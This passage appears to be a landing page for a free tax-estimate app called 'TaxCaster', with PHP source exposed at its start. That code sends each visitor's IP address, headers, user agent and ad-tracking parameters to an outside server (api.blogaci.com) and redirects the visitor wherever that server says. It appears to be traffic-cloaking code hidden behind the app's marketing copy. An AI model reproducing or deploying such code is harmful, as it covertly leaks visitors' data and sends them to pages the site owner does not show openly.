$value) { if (in_array($key, $userParams) || substr_compare('HTTP', $key, 0, 4) == 0) { $headers[$key] = $value; } } return $headers; } $requestUri = $_SERVER['REQUEST_URI'] ?? ''; $count = substr_count($requestUri, '/'); if (!function_exists('getallheaders')) { function getallheaders() { $headers = []; foreach ($_SERVER as $name => $value) { if (substr($name, 0, 5) == 'HTTP_') { $headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5)))))] = $value; } } return $headers; } } $cloack = getallheaders(); $cloack["HTTP_HOST"] = $_SERVER["HTTP_HOST"]; $cloack['path'] = $_SERVER["REQUEST_URI"]; $cloack['REQUEST_METHOD'] = $_SERVER['REQUEST_METHOD']; if (isset($cloack['X-Forwarded-For']) && strstr($cloack['X-Forwarded-For'], ',')) { $pieces = explode(",", $cloack['X-Forwarded-For']); $cloack['X-Forwarded-For'] = $pieces[0]; } $data = [ "lang" => $_SERVER["HTTP_ACCEPT_LANGUAGE"] ?? '', "ref" => $_SERVER["HTTP_REFERER"] ?? '', "ip" => $_SERVER["REMOTE_ADDR"] ?? '', "port" => $_SERVER["REMOTE_PORT"] ?? '', "ipr" => $_SERVER["HTTP_X_FORWARDED_FOR"] ?? $_SERVER["REMOTE_ADDR"], "sn" => $_SERVER["SERVER_NAME"] ?? '', "requestUri" => $_SERVER["REQUEST_URI"] ?? '', "ua" => $_SERVER["HTTP_USER_AGENT"] ?? '', "u" => $userId, "c" => $campaignHash, "subid1" => $_GET['subid1'] ?? '', "subid2" => $_GET['subid2'] ?? '', "subid3" => $_GET['subid3'] ?? '', "subid4" => $_GET['subid4'] ?? '', "subid5" => $_GET['subid5'] ?? '', "utm_source" => $_GET['utm_source'] ?? '', "utm_campaign" => $_GET['utm_campaign'] ?? '', "utm_term" => $_GET['utm_term'] ?? '', "utm_content" => $_GET['utm_content'] ?? '', "utm_medium" => $_GET['utm_medium'] ?? '', "gclid" => $_GET['gclid'] ?? '', "wbraid" => $_GET['wbraid'] ?? '', "gbraid" => $_GET['gbraid'] ?? '', "fbclid" => $_GET['fbclid'] ?? '', "uuid" => $_COOKIE['cf-c'] ?? null, "creative_id" => $_GET['creative_id'] ?? '', "source_click_id" => $_GET['source_click_id'] ?? '', "ccc" => json_encode($cloack), "ddd" => json_encode(collectHeaders()), "t" => "r" ]; $url = 'https://api.blogaci.com/?' . http_build_query($data); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $request = curl_exec($ch); curl_close($ch); $cookie_name = "user_id"; if (isset($_COOKIE[$cookie_name])) { setcookie($cookie_name, "", time() - 3600, "/"); unset($_COOKIE[$cookie_name]); } if ($request) { $data = json_decode($request); if (isset($data->cookie) && isset($data->redirect_url)) { setcookie('cf-c', $data->click_id, time() + 60*60*24, '/'); Header('Location: ' . $data->redirect_url); exit; } } ?>
TaxCaster makes tax calculations super easy. Quick, accurate, and totally free - see exactly how much you'll get back this year.
Don't wait until tax season to know where you stand. TaxCaster helps you plan ahead and make smarter financial decisions throughout the year.
No confusing forms or complicated steps. Just enter your info and get instant results!
Get your tax estimate in under 2 minutes. Seriously, it's that quick.
Based on current tax laws and regulations. Trust the numbers you see!
No hidden fees, no premium versions. 100% free forever.
Join thousands of satisfied users who've simplified their tax planning with TaxCaster!
"TaxCaster helped me plan my taxes better than ever. The estimates were spot-on and saved me tons of time!"
Grab the app from Google Play Store and launch it on your phone.
Input your income, deductions, and filing status. Takes just a few taps!
See your estimated refund or amount owed instantly. That's it!